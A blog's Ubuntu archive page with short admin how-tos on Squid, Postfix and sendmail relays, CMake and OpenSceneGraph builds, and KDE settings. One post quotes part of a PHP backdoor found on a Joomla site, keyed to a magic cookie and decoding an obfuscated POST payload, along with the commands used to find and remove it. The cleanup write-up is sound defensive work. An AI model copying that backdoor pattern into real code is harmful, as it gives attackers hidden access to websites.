Category Archives: Ubuntu

Setting up Squid proxy on Ubuntu 16.04 to browse blocked websites

Squid 3.5.12 can be installed and tested on Ubuntu 16.04 with the following commands:

sudo apt install squid
service squid start
sudo ufw allow 3128/tcp
wget -e use_proxy=yes -e http_proxy=http://localhost:3128

by default Squid listens on port 3128.

At first, Google Chrome started with Squid proxy from some external IP address:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --proxy-server=


Installing NVIDIA Driver on Ubuntu 16.04

I am not sure if there were NVIDIA drivers when I installed Ubuntu 16.01 on a machine with Intel processor and GTX 1060 graphic card, but at least I saw this in the terminal (it is not clear what actually FAILED):


Configuring Postfix with relay in Ubuntu 16.04

Today I read that Postfix can be better than sendmail and found a great Russian article on how to configure Postfix to work with relay ( is some kind of Russian Google). The only notice I would give is that in a Docker container I need also install rsyslog, otherwise /var/log/mail.log file is not created:

apt install rsyslog

After doing all the steps described in this Russian manual I was able to send email to and GMail accounts, but GMail landed all the emails to its spam folder. My first idea was that it is because I did not configure ‘from address’ correctly, so I had the following in /var/log/mail.log, and also there was a message ‘Cannot assign requested address‘:

Oct 27 11:36:19 0675c97b78aa postfix/pickup[1210]: 8C7ECE5B72: uid=0 from=<root>
Oct 27 11:36:19 0675c97b78aa postfix/cleanup[10786]: 8C7ECE5B72: message-id=<20171027113619.8C7ECE5B72@0675c97b78aa.localdomain>
Oct 27 11:36:19 0675c97b78aa postfix/qmgr[1211]: 8C7ECE5B72: from=<root@0675c97b78aa.localdomain>, size=405, nrcpt=2 (queue active)
Oct 27 11:36:19 0675c97b78aa postfix/smtp[10788]: connect to[2a00:1450:400c:c09::1b]:25: Cannot assign requested address


Configuring sendmail with GMail relay on Ubuntu 16.04

Previously I published post How I configured sendmail for PHP on Ubuntu Server 12.04 describing how to configure sendmail to use custom SMTP server. But after switching to Ubuntu 16.04 VPS my first idea was that I can use sendmail in its default configuration, but this idea was wrong, because while sendmail worked well with (some Russian mail server), for example, it did not work with GMail, because GMail did not accept the mail reporting ‘DSN: Service unavailable.‘┬áin /var/log/mail.log, see my post on Ubuntu Forum for more information. Now my second idea is that using GMail as sendmail relay will prevent GMail from rejecting my mail. Below I provided a short instruction on how to realize this successful idea.

Install the packages

apt-get install sendmail mailutils

mailutils allows to run mail command.


Compiling the latest version of CMake from sources on Ubuntu

I was unable to add QML resources to a QT Quick application with CMake 2.8 installed on my machine, so I built the latest version of CMake with the following commands:

cd ~/examples
mkdir tools
cd tools
mkdir install
tar -xf ~/Downloads/cmake-3.9.1.tar.gz
cd cmake-3.9.1/
./configure --prefix=/home/dmitry/examples/tools/install/
make -j4
make install

Now my QT application is compiled and run successfully:

~/examples/tools/install/bin/cmake ../../OsgQmlTest/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_MODULE_PATH=/home/user/3rdpart/osg/CMakeModules/ -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j4
make install


Building OsgQtQuick on Ubuntu 14.04

The following section in OsgQtQuick‘s CMakeLists.txt:

find_package(OpenSceneGraph 3.0 REQUIRED

results in CMake searching for FindOpenSceneGraph.cmake file:

strace cmake ../../osgqtquick/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install |& grep -i OpenSceneGraph
access("/home/dmitry/examples/osgqtquick/cmake/FindOpenSceneGraph.cmake", R_OK) = -1 ENOENT (No such file or directory)
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0
stat("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", {st_mode=S_IFREG|0644, st_size=7438, ...}) = 0
open("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", O_RDONLY) = 3
read(3, "# - Find OpenSceneGraph\n# This m"..., 8192) = 7438
read(3, "/* -*-c++-*- OpenSceneGraph - Co"..., 4096) = 3495
read(3, "/* -*-c++-*- OpenSceneGraph - Co"..., 8191) = 3495
  Could NOT find OpenSceneGraph (missing: OPENSCENEGRAPH_LIBRARIES
  /usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake:187 (FIND_PACKAGE_HANDLE_STANDARD_ARGS)
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0


Building OsgEarth on Ubuntu 14.04

I already had QT 5.5.1 with GCC 4.7.3 (and probably some libraries, including libcurl4-gnutls-dev, libgdal-dev, glut, that are installed, but not built) on my machine, so I built OSG with the following commands (I am not sure that it makes a sense to clone recursively, but making with ‘CMAKE_BUILD_TYPE=Debug’ can be better than with ‘debug’ or ‘DEBUG’, because CMAKE does case-sensitive compare. We can build osgEarth 2.8 against OSG 3.4 or osgEarth master branch against OSG 3.4 or newer..):

cd ~
mkdir examples
cd examples
mkdir install
git clone --recursive
git tag
git reset --hard OpenSceneGraph-3.4.0
mkdir -p build/osg
cd build/osg
cmake ../../OpenSceneGraph/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j3 install
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/dmitry/examples/install/lib64


How I removed infected PHP files from Joomla 1.5 wesite.

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  echo '</textarea>bg';

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm

Configuring input languages in KDE

If you need Russian language, for example, in KDE you go to System Settings->Input Devices->Keyboard, press Add button and select it:

KDE switch language


How to make Shift+NumPad keys select text and Ctrl+Ins/Shfit+Ins copy/paste in KDE (like as in MS Windows)

I worked a long time with MS Windows before, and when I started to work with KDE, the most annoying thing was that in KDE’s default configuration I was unable to use Shift+NumPad arrows/End/Home to select the text in a text edtor (QT Creator, for example) and copy/paste with Ctrl+Ins/Shift+Ins. This way of copying and pasting is the favorite for me, because Ctrl and Shift are big buttons located at the left side of the keyboard and Ins is one of the biggest right button, so they can be quickly used by both hands. Fortunately there is built-in setting in KDE that enables all my shortcuts:

KDE Settings